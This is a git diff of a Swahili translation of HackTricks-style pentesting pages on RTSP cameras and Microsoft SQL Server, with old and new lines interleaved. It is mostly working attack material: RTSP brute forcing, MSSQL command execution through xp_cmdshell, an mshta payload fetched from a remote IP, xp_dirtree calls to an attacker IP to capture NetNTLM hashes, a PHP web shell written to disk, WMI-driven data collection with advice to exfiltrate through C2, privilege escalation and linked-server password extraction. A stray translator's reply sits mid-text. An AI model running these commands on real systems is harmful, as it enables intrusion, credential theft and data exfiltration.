> Uwasilishaji wa data inayotiririsha yenyewe si jukumu la RTSP. Seva nyingi za RTSP hutumia the Real-time Transport Protocol (RTP) in conjunction with Real-time Control Protocol (RTCP) kwa ajili ya uwasilishaji wa mtiririko wa media. Hata hivyo, baadhi ya wauzaji hutumia itifaki za usafirishaji za umiliki. Programu ya seva ya RTSP kutoka RealNetworks, kwa mfano, pia ilitumia proprietary Real Data Transport (RDT).
**Default ports:** 554,8554
**Bandari za chaguo-msingi:** 554,8554
```
PORT STATE SERVICE
554/tcp open rtsp
```
## Maelezo Muhimu
**RTSP** ni sawa na HTTP lakini imeundwa mahsusi kwa ajili ya utiririshaji wa media. Imeelezwa katika spesifikesheni rahisi ambayo inaweza kupatikana hapa:
**RTSP** ni sawa na HTTP lakini imebuniwa mahsusi kwa ajili ya media streaming. Imefafanuliwa katika specification rahisi ambayo inaweza kupatikana hapa:
[RTSP RFC2326](https://tools.ietf.org/html/rfc2326)
Vifaa vinaweza kuruhusu ufikiaji **usio na uthibitisho** au **ulio na uthibitisho**. Ili kuangalia, ombi la "DESCRIBE" litatumwa. Mfano wa msingi umeonyeshwa hapa chini:
Vifaa vinaweza kuruhusu upatikanaji **bila uthibitisho** au **kwa uthibitisho**. Ili kuangalia, ombi la "DESCRIBE" linatumwa. Mfano wa msingi unaonyeshwa hapa chini:
`DESCRIBE rtsp://<ip>:<port> RTSP/1.0\r\nCSeq: 2`
Kumbuka, muundo sahihi unajumuisha "\r\n" mara mbili kwa ajili ya majibu ya kawaida. Jibu la "200 OK" linaashiria **ufikiaji usio na uthibitisho**, wakati "401 Unauthorized" linaashiria hitaji la uthibitisho, likifunua kama **Basic** au **Digest authentication** inahitajika.
Kumbuka, muundo sahihi unajumuisha mara mbili ya "\r\n" ili kupata jibu thabiti. Jibu la "200 OK" linaonyesha **upatikanaji bila uthibitisho**, wakati "401 Unauthorized" linaonyesha hitaji la uthibitisho, likifunua ikiwa **Basic** au **Digest authentication** inahitajika.
Kwa **Basic authentication**, unachakata jina la mtumiaji na nenosiri katika base64 na kuijumuisha katika ombi kama ifuatavyo:
Kwa **Basic authentication**, unafanya encoding ya username na password kwa base64 na kuijumuisha katika ombi kama ifuatavyo:
`DESCRIBE rtsp://<ip>:<port> RTSP/1.0\r\nCSeq: 2\r\nAuthorization: Basic YWRtaW46MTIzNA==`
Mfano huu unatumia "admin" na "1234" kwa ajili ya taarifa za kuingia. Hapa kuna **Python script** ya kutuma ombi kama hilo:
Mfano huu unatumia "admin" na "1234" kama nywila. Hapa kuna **Python script** ya kutuma ombi kama hilo:
```python
import socket
req = "DESCRIBE rtsp://<ip>:<port> RTSP/1.0\r\nCSeq: 2\r\nAuthorization: Basic YWRtaW46MTIzNA==\r\n\r\n"
@ -41,42 +41,48 @@ s.sendall(req)
data = s.recv(1024)
print(data)
```
**Msingi wa uthibitishaji** ni rahisi na unapendekezwa. **Uthibitishaji wa Digest** unahitaji kushughulikia kwa makini maelezo ya uthibitishaji yaliyotolewa katika jibu la "401 Unauthorized".
**Basic authentication** ni rahisi zaidi na inapendekezwa. **Digest authentication** inahitaji uangalifu katika kushughulikia maelezo ya uthibitisho yanayotolewa katika jibu la "401 Unauthorized".
Muonekano huu unarahisisha mchakato wa kufikia mitiririko ya RTSP, ukizingatia **Msingi wa uthibitishaji** kwa urahisi na ufanisi wake katika majaribio ya awali.
Muhtasari huu unarahisisha mchakato wa kupata RTSP streams, ukilenga **Basic authentication** kwa ajili ya urahisi wake na ufanisi katika jaribio za awali.
## Uhesabu
## Uorodheshi
Tuchukue taarifa kuhusu mbinu halali na URLs zinazoungwa mkono na kujaribu kulazimisha ufikiaji (ikiwa inahitajika) ili kupata ufikiaji wa maudhui.
Tupate taarifa kuhusu njia halali na URLs zinazoungwa mkono, na tujaribu brute-force kupata ufikiaji (ikiwa inahitajika) ili kupata maudhui.
```bash
nmap -sV --script "rtsp-*" -p <PORT> <IP>
```
#### Kuangalia Mstream wa RTSP kwa [ffplay](https://ffmpeg.org/ffplay.html)
Mara tu umepata njia halali ya RTSP (mfano, `/mpeg4`, `/live.sdp`) na kuthibitisha ufikiaji (bila uthibitisho au kwa kutumia hati), unaweza kutumia `ffplay` kuhamasisha mchakato:
#### Kuonyesha mtiririko wa RTSP kwa [ffplay](https://ffmpeg.org/ffplay.html)
Mara tu unapogundua njia halali ya RTSP (mfano, `/mpeg4`, `/live.sdp`) na kuthibitisha ufikivu (unauthenticated or with credentials), unaweza kutumia `ffplay` kucheza mtiririko:
```bash
ffplay -rtsp_transport tcp rtsp://<IP>/mpeg4 -x 2560 -y 1440
```
- `-rtsp_transport tcp`: Tumia TCP badala ya UDP kwa ajili ya utiririshaji wa kuaminika zaidi
- `-x`, `-y`: Bendera za hiari kudhibiti azimio la video
- Badilisha `<IP>` na njia kama inavyohitajika
- `-rtsp_transport tcp`: Tumia TCP badala ya UDP kwa streaming yenye uaminifu zaidi
- `-x`, `-y`: Bendera za hiari za kudhibiti azimio la video
- Badilisha `<IP>` na njia kama inahitajika
### [Brute Force](../generic-hacking/brute-force.md#rtsp)
### **Programu nyingine muhimu**
Ili kufanya bruteforce: [https://github.com/Tek-Security-Group/rtsp_authgrinder](https://github.com/Tek-Security-Group/rtsp_authgrinder)
To bruteforce: [https://github.com/Tek-Security-Group/rtsp_authgrinder](https://github.com/Tek-Security-Group/rtsp_authgrinder)
[**Cameradar**](https://github.com/Ullaakut/cameradar)
- Gundua wenyeji wa RTSP walio wazi kwenye lengo lolote linalopatikana
- Pata taarifa zao za umma (jina la mwenyeji, bandari, mfano wa kamera, n.k.)
- Anzisha mashambulizi ya kamusi ya kiotomatiki ili kupata njia yao ya utiririshaji (kwa mfano /live.sdp)
- Anzisha mashambulizi ya kamusi ya kiotomatiki ili kupata jina la mtumiaji na nenosiri la kamera
- Tengeneza picha ndogo kutoka kwao ili kuangalia kama utiririshaji ni halali na kuwa na muonekano wa haraka wa maudhui yao
- Jaribu kuunda pipeline ya Gstreamer ili kuangalia kama zimeandikwa vizuri
- Gundua RTSP hosts zilizo wazi kwenye target yoyote inayopatikana
- Pata taarifa zao za umma (hostname, port, modeli ya kamera, n.k.)
- Zindua automated dictionary attacks ili kupata stream route yao (kwa mfano /live.sdp)
- Zindua automated dictionary attacks ili kupata username na password za kamera
- Tengeneza thumbnails kutoka kwao ili kuthibitisha kama streams ni halali na kupata mtazamo wa haraka wa yaliyomo
- Jaribu kuunda Gstreamer pipeline ili kukagua kama zimekodwa ipasavyo
- Chapisha muhtasari wa taarifa zote ambazo Cameradar inaweza kupata
## References
### Tazama pia
{{#ref}}
32100-udp-pentesting-pppp-cs2-p2p-cameras.md
{{#endref}}
## Marejeo
- [https://en.wikipedia.org/wiki/Real_Time_Streaming_Protocol](https://en.wikipedia.org/wiki/Real_Time_Streaming_Protocol)
- [http://badguyfu.net/rtsp-brute-forcing-for-fun-and-naked-pictures/](http://badguyfu.net/rtsp-brute-forcing-for-fun-and-naked-pictures/)

View File

@ -2,35 +2,35 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Taarifa Msingi
From [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server):
Kutoka kwa [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server):
> **Microsoft SQL Server** ni mfumo wa usimamizi wa **relational database** ulioendelezwa na Microsoft. Kama seva ya database, ni bidhaa ya programu yenye kazi kuu ya kuhifadhi na kurejesha data kama inavyohitajika na programu nyingine za programu—ambazo zinaweza kukimbia kwenye kompyuta hiyo hiyo au kwenye kompyuta nyingine kupitia mtandao (ikiwemo Intaneti).
> **Microsoft SQL Server** ni **mfumo wa usimamizi wa hifadhidata za uhusiano** uliotengenezwa na Microsoft. Kama seva ya hifadhidata, ni bidhaa ya programu yenye kazi kuu ya kuhifadhi na kupata data kama inavyotakiwa na programu nyingine za kompyuta—ambazo zinaweza kuendeshwa kwenye kompyuta ile ile au kwenye kompyuta nyingine kupitia mtandao (ikijumuisha Intaneti).
**Default port:** 1433
**Bandari ya chaguo-msingi:** 1433
```
1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM
```
### **Default MS-SQL System Tables**
### **Chaguo-msingi MS-SQL Jedwali za Mfumo**
- **master Database**: Hii database ni muhimu kwani inachukua maelezo yote ya kiwango cha mfumo kwa mfano wa SQL Server.
- **msdb Database**: SQL Server Agent inatumia hii database kusimamia ratiba za arifa na kazi.
- **model Database**: Inafanya kazi kama mpango wa kila database mpya kwenye mfano wa SQL Server, ambapo mabadiliko yoyote kama ukubwa, collation, mfano wa urejeleaji, na mengineyo yanaakisiwa katika databases mpya zinazoundwa.
- **Resource Database**: Hii ni database ya kusoma tu ambayo ina vitu vya mfumo vinavyokuja na SQL Server. Vitu hivi, ingawa vinahifadhiwa kimwili katika Resource database, vinawasilishwa kimaadili katika schema ya sys ya kila database.
- **tempdb Database**: Inatumika kama eneo la kuhifadhi la muda kwa vitu vya muda au seti za matokeo za kati.
- **master Database**: Hifadhidata hii ni muhimu kwani inahifadhi taarifa zote za ngazi ya mfumo kwa mfano wa SQL Server.
- **msdb Database**: SQL Server Agent hutumia hifadhidata hii kusimamia upangaji (scheduling) wa alerts na jobs.
- **model Database**: Inafanya kazi kama blueprint kwa kila hifadhidata mpya kwenye instance ya SQL Server, ambapo mabadiliko yoyote kama size, collation, recovery model, na zaidi huakisiwa katika hifadhidata zilizoundwa mpya.
- **Resource Database**: Hifadhidata ya read-only inayohifadhi system objects zinazokuja na SQL Server. Vitu hivi, ingawa vimehifadhiwa kimwili kwenye Resource database, vinaonyeshwa kwa mantiki katika schema ya sys ya kila hifadhidata.
- **tempdb Database**: Inatumikia kama eneo la kuhifadhi la muda kwa objects za muda au seti za matokeo za kati.
## Enumeration
### Automatic Enumeration
Ikiwa hujui chochote kuhusu huduma:
Ikiwa haujui chochote kuhusu huduma:
```bash
nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 <IP>
msf> use auxiliary/scanner/mssql/mssql_ping
```
> [!TIP]
> Ikiwa huna **akikazi** unaweza kujaribu kuyakisia. Unaweza kutumia nmap au metasploit. Kuwa makini, unaweza **kuzuia akaunti** ikiwa unashindwa kuingia mara kadhaa ukitumia jina la mtumiaji lililopo.
> Ikiwa **huna** **credentials** unaweza kujaribu kuzikisia. Unaweza kutumia nmap au metasploit. Tahadhari, unaweza **block accounts** ikiwa utashindwa ku-login mara kadhaa ukitumia username iliyopo.
#### Metasploit (inahitaji creds)
```bash
@ -66,9 +66,9 @@ msf> use windows/manage/mssql_local_auth_bypass
```
### [**Brute force**](../../generic-hacking/brute-force.md#sql-server)
### Uhesabu wa Mikono
### Enumeration kwa mikono
#### Ingia
#### Login
[MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner)
```shell
@ -102,7 +102,7 @@ sqsh -S <IP> -U .\\<Username> -P <Password> -D <Database>
1> select 1;
2> go
```
#### Uainishaji wa Kawaida
#### Enumeration ya kawaida
```sql
# Get version
select @@version;
@ -156,14 +156,14 @@ SELECT * FROM sysusers
```
#### Pata Ruhusa
1. **Securable:** Imefafanuliwa kama rasilimali zinazodhibitiwa na SQL Server kwa udhibiti wa ufikiaji. Hizi zimeainishwa katika:
- **Server** Mifano ni pamoja na hifadhidata, logins, endpoints, vikundi vya upatikanaji, na majukumu ya server.
- **Database** Mifano inajumuisha jukumu la hifadhidata, majukumu ya programu, muundo, vyeti, katalogi za maandiko kamili, na watumiaji.
- **Schema** Inajumuisha meza, maoni, taratibu, kazi, maneno ya badala, n.k.
2. **Permission:** Inahusishwa na securables za SQL Server, ruhusa kama ALTER, CONTROL, na CREATE zinaweza kutolewa kwa kiongozi. Usimamizi wa ruhusa unafanyika katika ngazi mbili:
1. **Securable:** Imefafanuliwa kama rasilimali zinazosimamiwa na SQL Server kwa udhibiti wa upatikanaji. Hizi zimegawanywa katika:
- **Server** Mifano ni pamoja na databases, logins, endpoints, availability groups, and server roles.
- **Database** Mifano yanajumuisha database role, application roles, schema, certificates, full text catalogs, and users.
- **Schema** Inajumuisha tables, views, procedures, functions, synonyms, etc.
2. **Permission:** Inahusishwa na securables za SQL Server; ruhusa kama ALTER, CONTROL, na CREATE zinaweza kupewa principal. Usimamizi wa ruhusa hufanyika kwenye ngazi mbili:
- **Server Level** kwa kutumia logins
- **Database Level** kwa kutumia watumiaji
3. **Principal:** Neno hili linarejelea chombo ambacho kinapewa ruhusa kwa securable. Wakuu hasa ni pamoja na logins na watumiaji wa hifadhidata. Udhibiti wa ufikiaji kwa securables unatekelezwa kupitia utoaji au kukataa ruhusa au kwa kujumuisha logins na watumiaji katika majukumu yaliyo na haki za ufikiaji.
- **Database Level** kwa kutumia users
3. **Principal:** Neno hili linarejelea entiti inayopewa ruhusa ya securable. Principals kwa kawaida ni logins na database users. Udhibiti wa upatikanaji wa securables unafanywa kwa kuipa au kukataa ruhusa, au kwa kujumuisha logins na users katika roles zilizo na haki za upatikanaji.
```sql
# Show all different securables names
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
@ -183,12 +183,12 @@ SELECT IS_SRVROLEMEMBER('sysadmin');
Use master
EXEC sp_helprotect 'xp_cmdshell'
```
## Tricks
## Mbinu
### Execute OS Commands
> [!CAUTION]
> Kumbuka kwamba ili uweze kutekeleza amri si tu inahitajika kuwa na **`xp_cmdshell`** **imewezeshwa**, bali pia kuwa na **ruhusa ya EXECUTE kwenye utaratibu wa kuhifadhi `xp_cmdshell`**. Unaweza kupata nani (isipokuwa sysadmins) anaweza kutumia **`xp_cmdshell`** kwa:
> Tambua kwamba ili kuwa na uwezo wa kutekeleza amri si tu inahitajika kuwa **`xp_cmdshell`** imewezeshwa, bali pia kuwa na **ruhusa ya EXECUTE kwenye stored procedure ya `xp_cmdshell`**. Unaweza kupata ni nani (isipokuwa sysadmins) anaweza kutumia **`xp_cmdshell`** kwa:
>
> ```sql
> Use master
@ -235,13 +235,43 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec ho
# Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate
```
### Pata nywila zilizohashwa
### Ukusanyaji wa mbali wa SQL unaotegemea WMI (sqlcmd + CSV export)
Waendeshaji wanaweza kupitisha kutoka IIS/app tier hadi SQL Servers kwa kutumia WMI kutekeleza batch ndogo inayothibitisha kwenye MSSQL na kuendesha adhoc queries, ikihifadhi matokeo kama CSV. Hii hufanya ukusanyaji uwe rahisi na kuendana na shughuli za admin.
Mfano mssq.bat
```bat
@echo off
rem Usage: mssq.bat <server> <user> <pass> <"SQL"> <out.csv>
set S=%1
set U=%2
set P=%3
set Q=%4
set O=%5
rem Remove headers, trim trailing spaces, CSV separator = comma
sqlcmd -S %S% -U %U% -P %P% -Q "SET NOCOUNT ON; %Q%" -W -h -1 -s "," -o "%O%"
```
Iite kwa mbali kwa kutumia WMI
```cmd
wmic /node:SQLHOST /user:DOMAIN\user /password:Passw0rd! process call create "cmd.exe /c C:\\Windows\\Temp\\mssq.bat 10.0.0.5 sa P@ssw0rd \"SELECT TOP(100) name FROM sys.tables\" C:\\Windows\\Temp\\out.csv"
```
Mbadala wa PowerShell
```powershell
$cmd = 'cmd.exe /c C:\\Windows\\Temp\\mssq.bat 10.0.0.5 sa P@ssw0rd "SELECT name FROM sys.databases" C:\\Windows\\Temp\\dbs.csv'
Invoke-WmiMethod -ComputerName SQLHOST -Class Win32_Process -Name Create -ArgumentList $cmd
```
Vidokezo
- sqlcmd inaweza kukosekana; rudi kwa osql, PowerShell Invoke-Sqlcmd, au oneliner ukitumia System.Data.SqlClient.
- Tumia kuwekea nukuu kwa uangalifu; queries ndefu/complex ni rahisi kusambaza kupitia faili au Base64encoded argument iliyodekodishwa ndani ya batch/PowerShell stub.
- Exfil the CSV via SMB (e.g., copy from \\SQLHOST\C$\Windows\Temp) au compress na uhamishe kupitia C2 yako.
### Pata hashed passwords
```bash
SELECT * FROM master.sys.syslogins;
```
### Kuiba NetNTLM hash / Shambulio la Relay
### Kuiba NetNTLM hash / Relay attack
Unapaswa kuanzisha **SMB server** ili kukamata hash inayotumika katika uthibitishaji (`impacket-smbserver` au `responder` kwa mfano).
Unapaswa kuanzisha **SMB server** ili kukamata hash inayotumika katika authentication (`impacket-smbserver` or `responder` kwa mfano).
```bash
xp_dirtree '\\<attacker_IP>\any\thing'
exec master.dbo.xp_dirtree '\\<attacker_IP>\any\thing'
@ -265,7 +295,7 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250
```
> [!WARNING]
> Unaweza kuangalia ni nani (mbali na sysadmins) ana ruhusa ya kuendesha hizo kazi za MSSQL kwa kutumia:
> Unaweza kukagua ni nani (isipokuwa sysadmins) ana ruhusa ya kuendesha hizo functions za MSSQL kwa kutumia:
>
> ```sql
> Use master;
@ -274,24 +304,26 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.25
> EXEC sp_helprotect 'xp_fileexist';
> ```
Kwa kutumia zana kama **responder** au **Inveigh** inawezekana **kuchukua NetNTLM hash**.\
Kwa kutumia zana kama **responder** au **Inveigh** inawezekana **kuiba NetNTLM hash**.\
Unaweza kuona jinsi ya kutumia zana hizi katika:
{{#ref}}
../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
{{#endref}}
### Kutumia Viungo vya MSSQL vilivyoaminika
### Matumizi mabaya ya MSSQL trusted Links
[**Read this post**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **kupata taarifa zaidi kuhusu jinsi ya kutumia vibaya kipengele hiki:**
[**Soma chapisho hili**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **ili kupata maelezo zaidi kuhusu jinsi ya kutumia kipengele hiki:**
{{#ref}}
../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md
{{#endref}}
### **Andika Faili**
### **Kuandika Faili**
Ili kuandika faili kwa kutumia `MSSQL`, tunahitaji **kuwezesha** [**Ole Automation Procedures**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option), ambayo inahitaji ruhusa za admin, na kisha kutekeleza baadhi ya taratibu zilizohifadhiwa ili kuunda faili:
Ili kuandika faili kwa kutumia `MSSQL`, tunahitaji kuwezesha [**Ole Automation Procedures**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option), ambayo inahitaji ruhusa za admin, na kisha kutekeleza baadhi ya stored procedures ili kuunda faili:
```bash
# Enable Ole Automation Procedures
sp_configure 'show advanced options', 1
@ -309,9 +341,9 @@ EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"
EXECUTE sp_OADestroy @FileID
EXECUTE sp_OADestroy @OLE
```
### **Soma faili na** OPENROWSET
### **Soma faili kwa** OPENROWSET
Kwa default, `MSSQL` inaruhusu kusoma faili **katika faili lolote katika mfumo wa uendeshaji ambao akaunti ina ruhusa ya kusoma**. Tunaweza kutumia query ya SQL ifuatayo:
Kwa chaguo-msingi, `MSSQL` inaruhusu kusoma **faili yoyote kwenye mfumo wa uendeshaji ambako akaunti ina ruhusa ya kusoma**. Tunaweza kutumia query ifuatayo ya SQL:
```sql
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
```
@ -320,19 +352,19 @@ Hata hivyo, chaguo la **`BULK`** linahitaji ruhusa ya **`ADMINISTER BULK OPERATI
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS';
```
#### Njia ya msingi ya makosa kwa SQLi:
#### Error-based vector kwa SQLi:
```
https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))--
```
### **RCE/Kusoma faili kutekeleza scripts (Python na R)**
### **RCE/Soma faili kwa kutekeleza scripts (Python na R)**
MSSQL inaweza kukuruhusu kutekeleza **scripts katika Python na/au R**. Hizi code zitatekelezwa na **mtumiaji tofauti** na yule anayetumia **xp_cmdshell** kutekeleza amri.
MSSQL inaweza kukuruhusu kutekeleza **scripts katika Python na/au R**. Msimbo huo utaendeshwa na **mtumiaji tofauti** kuliko yule anayetumia **xp_cmdshell** kutekeleza amri.
Mfano wa kujaribu kutekeleza **'R'** _"Hellow World!"_ **haifanyi kazi**:
![](<../../images/image (393).png>)
Mfano wa kutumia python iliyowekwa kufanya vitendo kadhaa:
Mfano unaotumia Python iliyosanidiwa kutekeleza vitendo kadhaa:
```sql
# Print the user being used (and execute commands)
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'
@ -346,11 +378,11 @@ print(sys.version)
'
GO
```
### Soma Usajili
### Kusoma Registry
Microsoft SQL Server inatoa **taratibu za kuhifadhi zilizopanuliwa** ambazo zinakuwezesha kuingiliana si tu na mtandao bali pia na mfumo wa faili na hata [**Usajili wa Windows**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)**:**
Microsoft SQL Server hutoa **multiple extended stored procedures** ambazo zinakuwezesha kuingiliana si tu na mtandao bali pia na mfumo wa faili na hata [**Windows Registry**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)**:**
| **Kawaida** | **Inayojulikana kwa Kifaa** |
| **Kawaida** | **Inayotambua Instance** |
| --------------------------- | ------------------------------------ |
| sys.xp_regread | sys.xp_instance_regread |
| sys.xp_regenumvalues | sys.xp_instance_regenumvalues |
@ -371,21 +403,21 @@ Use master;
EXEC sp_helprotect 'xp_regread';
EXEC sp_helprotect 'xp_regwrite';
```
Kwa **mfano zaidi** angalia [**chanzo asilia**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/).
Kwa **mifano zaidi** angalia [**original source**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/).
### RCE na MSSQL User Defined Function - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
### RCE with MSSQL User Defined Function - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
Inawezekana **kuchaji .NET dll ndani ya MSSQL kwa kutumia kazi za kawaida**. Hata hivyo, **hii inahitaji `dbo` ufikiaji** hivyo unahitaji muunganisho na database **kama `sa` au jukumu la Administrator**.
Inawezekana **kupakia .NET dll ndani ya MSSQL kwa kutumia custom functions**. Hata hivyo, hii **inahitaji `dbo` access** kwa hiyo unahitaji muunganisho na database **kama `sa` au cheo la Administrator**.
[**Fuata kiungo hiki**](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp) kuona mfano.
[**Following this link**](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp) to see an example.
### RCE na `autoadmin_task_agents`
### RCE with `autoadmin_task_agents`
Kulingana[ **na chapisho hili**](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp), pia inawezekana kuchaji dll ya mbali na kufanya MSSQL iite kwa kutumia kitu kama:
Kwa mujibu wa[ **to this post**](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp), pia inawezekana kupakia dll ya mbali na kuifanya MSSQL kuitekeleza kwa njia kama:
```sql
update autoadmin_task_agents set task_assembly_name = "class.dll", task_assembly_path="\\remote-server\\ping.dll",className="Class1.Class1";
```
Na:
I don't see the README.md content. Please paste the file contents (or the specific sections) you want translated to Swahili, and I'll translate them while preserving markdown/html tags, links, refs and paths per your instructions.
```csharp
using Microsoft.SqlServer.SmartAdmin;
using System;
@ -435,15 +467,15 @@ public void Test()
}
}
```
### Njia Nyingine za RCE
### Njia nyingine za RCE
Kuna njia nyingine za kupata utekelezaji wa amri, kama vile kuongeza [extended stored procedures](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [CLR Assemblies](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [SQL Server Agent Jobs](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15), na [external scripts](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql).
Kuna mbinu nyingine za kupata command execution, kama vile kuongeza [extended stored procedures](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [CLR Assemblies](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [SQL Server Agent Jobs](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15), na [external scripts](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql).
## Kuinua Haki za MSSQL
## MSSQL Privilege Escalation
### Kutoka db_owner hadi sysadmin
### From db_owner to sysadmin
Ikiwa **mtumiaji wa kawaida** amepewa jukumu la **`db_owner`** juu ya **database inayomilikiwa na mtumiaji wa admin** (kama **`sa`**) na database hiyo imewekwa kama **`trustworthy`**, mtumiaji huyo anaweza kutumia haki hizi kwa **privesc** kwa sababu **stored procedures** zilizoundwa huko zinaweza **kutekelezwa** kama mmiliki (**admin**).
If a **mtumiaji wa kawaida** is given the role **`db_owner`** over the **database owned by an admin** user (such as **`sa`**) and that database is configured as **`trustworthy`**, that user can abuse these privileges to **privesc** because **stored procedures** created in there that can **execute** as the owner (**admin**).
```sql
# Get owners of databases
SELECT suser_sname(owner_sid) FROM sys.databases
@ -481,15 +513,15 @@ Unaweza kutumia moduli ya **metasploit**:
```bash
msf> use auxiliary/admin/mssql/mssql_escalate_dbowner
```
Au **PS** script:
Au skripti ya **PS**:
```bash
# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-Dbowner.psm1
Import-Module .Invoke-SqlServerDbElevateDbOwner.psm1
Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlServerInstance 10.2.2.184
```
### Ujumuishaji wa watumiaji wengine
### Kujifanya watumiaji wengine
SQL Server ina ruhusa maalum, inayoitwa **`IMPERSONATE`**, ambayo **inawaruhusu watumiaji wanaotekeleza kuchukua ruhusa za mtumiaji mwingine** au kuingia hadi muktadha urejelewe au kikao kimalizike.
SQL Server ina ruhusa maalum, inayoitwa **`IMPERSONATE`**, ambayo **inamwezesha mtumiaji anayeendesha kuchukua ruhusa za mtumiaji mwingine** au login hadi muktadha uanzishwe upya au kikao kitakapomalizika.
```sql
# Find users you can impersonate
SELECT distinct b.name
@ -510,9 +542,9 @@ enum_links
use_link [NAME]
```
> [!TIP]
> Ikiwa unaweza kujifanya kuwa mtumiaji, hata kama si sysadmin, unapaswa kuangalia i**f the user has access** kwa **databases** nyingine au seva zilizounganishwa.
> Ikiwa unaweza impersonate mtumiaji, hata kama si sysadmin, unapaswa kuangalia **kama mtumiaji ana ufikiaji** kwa **databases** nyingine au linked servers.
Kumbuka kwamba mara tu unapo kuwa sysadmin unaweza kujifanya kuwa mtu mwingine yeyote:
Kumbuka kwamba mara unapokuwa sysadmin unaweza impersonate mtu mwingine yeyote:
```sql
-- Impersonate RegUser
EXECUTE AS LOGIN = 'RegUser'
@ -522,42 +554,42 @@ SELECT IS_SRVROLEMEMBER('sysadmin')
-- Change back to sa
REVERT
```
Unaweza kufanya shambulio hili kwa kutumia moduli ya **metasploit**:
Unaweza kufanya shambulio hili kwa kutumia module ya **metasploit**:
```bash
msf> auxiliary/admin/mssql/mssql_escalate_execute_as
```
au kwa kutumia **PS** script:
au kwa script ya **PS**:
```bash
# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-ExecuteAs.psm1
Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1
Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuser1 -SqlPass MyPassword!
```
## Kutumia MSSQL kwa Uendelevu
## Kutumia MSSQL kwa Persistence
[https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/](https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/)
## Kutolewa kwa nywila kutoka kwa SQL Server Linked Servers
## Extracting passwords from SQL Server Linked Servers
Mshambuliaji anaweza kutoa nywila za SQL Server Linked Servers kutoka kwa SQL Instances na kuzipata kwa maandiko wazi, akimpa mshambuliaji nywila ambazo zinaweza kutumika kupata ushawishi mkubwa zaidi kwenye lengo. Skripti ya kutoa na kufichua nywila zilizohifadhiwa kwa ajili ya Linked Servers inaweza kupatikana [hapa](https://www.richardswinbank.net/admin/extract_linked_server_passwords)
